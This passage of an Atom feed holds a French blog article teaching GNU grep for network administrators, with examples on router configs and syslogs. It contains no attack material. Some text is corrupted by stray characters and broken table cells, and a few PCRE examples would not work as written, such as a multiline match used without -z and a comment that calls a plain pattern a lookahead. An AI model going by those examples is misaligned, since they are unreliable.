<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://docs.bastienbonora.fr/blog</id>
    <title>Bastodoc Blog</title>
    <updated>2026-08-31T00:00:00.000Z</updated>
    <generator>https://github.com/jpmonette/feed</generator>
    <link rel="alternate" href="https://docs.bastienbonora.fr/blog"/>
    <subtitle>Bastodoc Blog</subtitle>
    <icon>https://docs.bastienbonora.fr/img/favicon.ico</icon>
    <entry>
        <title type="html"><![CDATA[Rechercher dans des fichiers : maîtriser grep pour des recherches ciblées]]></title>
        <id>https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers</id>
        <link href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers"/>
        <updated>2026-08-31T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[On a tous déjà fait ça filtrer le bon fichier, le bon moteur d'expressions rationnelles, le bon niveau de contexte, et surtout savoir quand arrêter de marteler grep pour passer à un outil plus adapté.]]></summary>
        <content type="html"><![CDATA[<p>On a tous déjà fait ça : on cherche une ligne précise dans un <code>running-config</code> de 4000 lignes, on balance un <code>grep mot</code> et on se retrouve avec 200 correspondances dont la moitié dans des commentaires. <code>grep</code> est l'une des commandes les plus utilisées sous Linux, et c'est aussi l'une des plus mal utilisées. Le but de cet article n'est pas de refaire le <code>man grep</code>, mais de montrer comment l'utiliser pour des recherches <strong>vraiment ciblées</strong> : filtrer le bon fichier, le bon moteur d'expressions rationnelles, le bon niveau de contexte, et surtout savoir quand arrêter de marteler <code>grep</code> pour passer à un outil plus adapté.</p>
<p>Je pars du principe que vous êtes à l'aise en ligne de commande. Les exemples tournent sous GNU grep (donc Arch, Debian, RHEL — tout ce qui n'est pas BSD/macOS par défaut) et j'utilise des cas concrets d'admin réseau, parce que c'est là que le besoin de recherche ciblée se fait le plus sentir.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-quatre-moteurs-de-grep">Les quatre moteurs de grep<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#les-quatre-moteurs-de-grep" class="hash-link" aria-label="Lien direct vers Les quatre moteurs de grep" title="Lien direct vers Les quatre moteurs de grep" translate="no">​</a></h2>
<p>C'est la première chose à comprendre : <code>grep</code> n'a pas un seul moteur de regex. Le comportement par défaut dépend de l'option choisie, et c'est ce que fait la différence entre une recherche qui matche trop et une qui matche juste.</p>
<table><thead><tr><th>Option</th><th>Moteur</th><th>Ce que ça change</th></tr></thead><tbody><tr><td><em>(défaut)</em></td><td>BRE (Basic)</td><td><code>?</code>, <code>+</code>, <code>{}</code>, `</td></tr><tr><td><code>-E</code> (ou <code>egrep</code>)</td><td>ERE (Extended)</td><td><code>?</code>, <code>+</code>, <code>{}</code>, `</td></tr><tr><td><code>-P</code></td><td>PCRE (Perl)</td><td>lookaround, backreferences, <code>\d</code>, <code>\s</code>, <code>\b</code>… puissance maximale</td></tr><tr><td><code>-F</code> (ou <code>fgrep</code>)</td><td>Chaîne fixe</td><td>Aucune interprétation regex, le motif est pris littéralement</td></tr></tbody></table>
<!-- -->
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>Sous macOS, attention</div><div class="admonitionContent_BuS1"><p>Le <code>grep</code> système de macOS est un <code>grep</code> BSD : il ne supporte <strong>pas</strong> <code>-P</code>. Si vous bossez sur un Mac, installez <code>grep</code> via Homebrew (<code>brew install grep</code>) et utilisez <code>ggrep -P</code>, ou partez directement sur <code>ripgrep</code>.</p></div></div>
<p>En pratique, 80 % des recherches se font en <code>-E</code> ou en <code>-F</code>. On réserve <code>-P</code> aux cas oŉ l'on a vraiment besoin d'assertions (lookahead/lookbehind) ou de classes <code>\d</code>/<code>\s</code> — et encore, dès que ça devient tordu, c'est souvent le signe qu'il faut <code>awk</code> ou un vrai script.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-options-qui-changent-vraiment-la-donne">Les options qui changent vraiment la donne<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#les-options-qui-changent-vraiment-la-donne" class="hash-link" aria-label="Lien direct vers Les options qui changent vraiment la donne" title="Lien direct vers Les options qui changent vraiment la donne" translate="no">​</a></h2>
<p>Plutôt que de lister le manuel, voici celles que j'utilise tous les jours et qui transforment une recherche brouillonne en recherche chirurgicale.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="-n--c--l--contrôler-la-sortie"><code>-n</code>, <code>-c</code>, <code>-l</code> : contrôler la sortie<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#-n--c--l--contr%C3%B4ler-la-sortie" class="hash-link" aria-label="Lien direct vers -n--c--l--contrôler-la-sortie" title="Lien direct vers -n--c--l--contrôler-la-sortie" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Numéro de ligne à côté du match — indispensable pour retrouver le contexte</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-n</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'mtu 9000'</span><span class="token plain"> running-config.cfg</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Juste le nombre de correspondances (pas les lignes)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-c</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'interface Ethernet'</span><span class="token plain"> running-config.cfg</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Uniquement les FICHIERS qui contiennent le motif (idéal sur un répertoire)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-rl</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'channel-group 10 mode active'</span><span class="token plain"> /tftpboot/configs/</span><br></div></code></pre></div></div>
<p><code>-l</code> (lowercase L) ne sort que les noms de fichiers qui matchent. C'est l'option à combiner avec <code>-r</code> dès qu'on cherche « où est-ce que ce truc est configuré ? » plutôt que « quoi exactement ».</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="-v--i--w--x--filtrer-précisément"><code>-v</code>, <code>-i</code>, <code>-w</code>, <code>-x</code> : filtrer précisément<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#-v--i--w--x--filtrer-pr%C3%A9cis%C3%A9ment" class="hash-link" aria-label="Lien direct vers -v--i--w--x--filtrer-précisément" title="Lien direct vers -v--i--w--x--filtrer-précisément" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Inverser : tout sauf les commentaires et les lignes vides d'un fichier de conf</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-vE</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'^\s*(!|#)'</span><span class="token plain"> running-config.cfg </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-vE</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'^\s*$'</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Sensible à la casse ou non</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-i</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'bgp'</span><span class="token plain"> messages        </span><span class="token comment" style="color:#999988;font-style:italic"># BGP, bgp, Bgp...</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-w</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'UP'</span><span class="token plain"> interfaces.txt   </span><span class="token comment" style="color:#999988;font-style:italic"># UP, mais pas "STOPUP" ni "GROUP"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># -x : la ligne entière do</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">it matcher </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">utile pour des valeurs exactes</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-x</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'shutdown'</span><span class="token plain"> running-config.cfg</span><br></div></code></pre></div></div>
<p><code>-w</code> (mot entier) est sous-estimé. Sans lui, <code>grep UP</code> attrape <code>SETUP</code>, <code>WRAPUP</code>, <code>GROUP</code>… ce qui est exactement le genre de faux positif qui vous fait chercher un bug qui n'existe pas.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="-a--b--c--le-contexte-autour-du-match"><code>-A</code>, <code>-B</code>, <code>-C</code> : le contexte autour du match<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#-a--b--c--le-contexte-autour-du-match" class="hash-link" aria-label="Lien direct vers -a--b--c--le-contexte-autour-du-match" title="Lien direct vers -a--b--c--le-contexte-autour-du-match" translate="no">​</a></h3>
<p>C'est l'option la plus précieuse quand on débugge. <code>-A</code> (after), <code>-B</code> (before), <code>-C</code> (context, des deux côtés).</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Les 3 lignes qui suivent chaque match BGP (pour voir l'état du neighbor)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-A3</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'neighbor 10.0.0.5'</span><span class="token plain"> bgpd.conf</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># 2 lignes avant, pour récupérer le nom de l'interface au-dessus d'un mtu 9000</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-B2</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'mtu 9000'</span><span class="token plain"> running-config.cfg</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># 5 lignes de contexte de part et d'autre d'un événement de flap</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-C5</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'BGP-5-ADJCHANGE'</span><span class="token plain"> /var/log/messages</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Combiner contexte et numérotation</div><div class="admonitionContent_BuS1"><p><code>grep -nC5 motif</code> vous donne les numéros de ligne <strong>et</strong> le contexte. C'est mon réflexe par défaut quand je fouille un log : je veux savoir où je suis dans le fichier, pas juste voir le match isolé.</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="recherches-récursives-ciblées">Recherches récursives ciblées<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#recherches-r%C3%A9cursives-cibl%C3%A9es" class="hash-link" aria-label="Lien direct vers Recherches récursives ciblées" title="Lien direct vers Recherches récursives ciblées" translate="no">​</a></h2>
<p>Le grand classique : chercher un motif dans une arborescence entière. Le piège, c'est de faire un <code>grep -r motif *</code> et de récupérer du binaire, des fichiers de swap, du <code>.git/</code>, bref du bruit. GNU grep propose des filtres d'inclusion/exclusion précis.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Récursif, uniquement dans les fichiers .cfg</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-r</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">--include</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'*.cfg'</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'channel-group'</span><span class="token plain"> /tftpboot/</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Récursif, en excluant les répertoires .git et les backups</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-r</span><span class="token plain"> --exclude-dir</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'.git'</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">--exclude</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'*.bak'</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'mtu 9000'</span><span class="token plain"> </span><span class="token builtin class-name">.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># -r ne suit pas les liens symboliques ; -R les suit</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-rl</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">--include</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'*.conf'</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'bgp'</span><span class="token plain"> /etc/</span><br></div></code></pre></div></div>
<p>Pour lister les fichiers où un motif <strong>n'apparaît pas</strong> (typiquement : quels routeurs n'ont pas encore la config NTP), c'est <code>-L</code> :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-rL</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">--include</span><span class="token operator" style="color:#393A34">=</span><span class="token string" style="color:#e3116c">'*.cfg'</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'ntp server 10.10.10.1'</span><span class="token plain"> /tftpboot/configs/</span><br></div></code></pre></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-expressions-rationnelles-qui-servent-vraiment">Les expressions rationnelles qui servent vraiment<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#les-expressions-rationnelles-qui-servent-vraiment" class="hash-link" aria-label="Lien direct vers Les expressions rationnelles qui servent vraiment" title="Lien direct vers Les expressions rationnelles qui servent vraiment" translate="no">​</a></h2>
<p>Plutôt que la théorie, des motifs que j'utilise réellement sur des configs
et des logs.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Toutes les interfaces avec leur nom exact (on capture juste le motif)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-oE</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'interface [A-Za-z0-9./:_-]+'</span><span class="token plain"> running-config.cfg </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sort</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Les adresses IPv4 présentes dans un fichier</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-oE</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'([0-9]{1,3}\.){3}[0-9]{1,3}'</span><span class="token plain"> bgpd.conf </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sort</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Les lignes BGP indiquant un passage à l'état Established ou Down</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-iE</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'BGP.*(Established|Idle|Active|OpenSent)'</span><span class="token plain"> /var/log/messages</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Les neighbors BGP dont l'IP commence par 10.0.0.</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-E</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'neighbor 10\.0\.0\.[0-9]+'</span><span class="token plain"> bgpd.conf</span><br></div></code></pre></div></div>
<p>Le point à retenir : en <code>-E</code>, le point <code>.</code> est un joker et <code>.</code> littéral doit être échappé en <code>\.</code>. C'est l'erreur la plus fréquente — <code>grep -E '10.0.0.1'</code> matche aussi <code>10x0x0x1</code>. On écrit <code>10\.0\.0\.1</code>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="pcre--quand-on-a-besoin-de-vraies-expressions-rationnelles">PCRE : quand on a besoin de vraies expressions rationnelles<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#pcre--quand-on-a-besoin-de-vraies-expressions-rationnelles" class="hash-link" aria-label="Lien direct vers PCRE : quand on a besoin de vraies expressions rationnelles" title="Lien direct vers PCRE : quand on a besoin de vraies expressions rationnelles" translate="no">​</a></h2>
<p><code>-P</code> débloque ce que <code>-E</code> ne sait pas faire : les assertions, les références arrières, les classes <code>\d \s \S \b</code> extensives.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># lookahead : un MTU qui précède une ligne "no shutdown"</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-P</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'mtu \d+\n\s*no shutdown'</span><span class="token plain"> running-config.cfg   </span><span class="token comment" style="color:#999988;font-style:italic"># nécessite \n =&gt; voir -z</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Trouver deux lignes identiques consécutives (doublon dans une conf)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-nP</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'^(.*)\n\1$'</span><span class="token plain"> running-config.cfg</span><br></div></code></pre></div></div>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>Le piège du multiligne</div><div class="admonitionContent_BuS1"><p>Par défaut, <code>.</code> et <code>\n</code> ne traversent pas les fins de ligne : grep travaille ligne par ligne. Pour matcher un motif <strong>à cheval sur plusieurs lignes</strong>, il faut <code>-z</code> (qui rend l'entrée « NUL-séparée »). Dans un fichier sans octet NUL, cela revient à traiter tout le fichier comme une seule grande ligne.</p></div></div>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># -z + -P + -o : extraire tout un bloc d'interface contenant un mtu 9000</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-Pzo</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'interface \S+[\s\S]*?mtu 9000[\s\S]*?!\s*\n'</span><span class="token plain"> running-config.cfg</span><br></div></code></pre></div></div>
<p>Ici <code>[\s\S]*?</code> est l'équivalent non-avide de <code>(?s).*?</code> (le <code>?</code> rend la quantification non-gourmande). C'est puissant, mais dès qu'on en est là, je vous le dis : un petit <code>awk</code> ou <code>sed</code> entre les blocs sera souvent plus lisible pour un collègue qui relit. grep reste roi pour *<em>trouver</em>, pas pour <strong>transformer</strong>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="cas-concrets">Cas concrets<a href="https://docs.bastienbonora.fr/blog/maitriser-grep-recherche-fichiers#cas-concrets" class="hash-link" aria-label="Lien direct vers Cas concrets" title="Lien direct vers Cas concrets" translate="no">​</a></h2>
<p>d'admin réseau</p>
<p>Quelques recettes que j'utilise réellement sur du Arista EOS / Cisco, au-delà du simple « cherche-moi ce mot ».</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Combien d'interfaces ont une MTU jumbo (9000) dans un dump de conf ?</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-c</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'mtu 9000'</span><span class="token plain"> running-config.cfg</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Les port-channels actifs en LACP, uniquement les noms, trkɳ uniques</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-oE</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'interface (Po|Port-Channel)[0-9]+'</span><span class="token plain"> running-config.cfg </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sort</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic"># Les events BGP de changement de voisinage sur les dernières 24h</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-iE</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'%BGP-[0-9]+-ADJCHANGE'</span><span class="token plain"> /var/log/syslog</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" 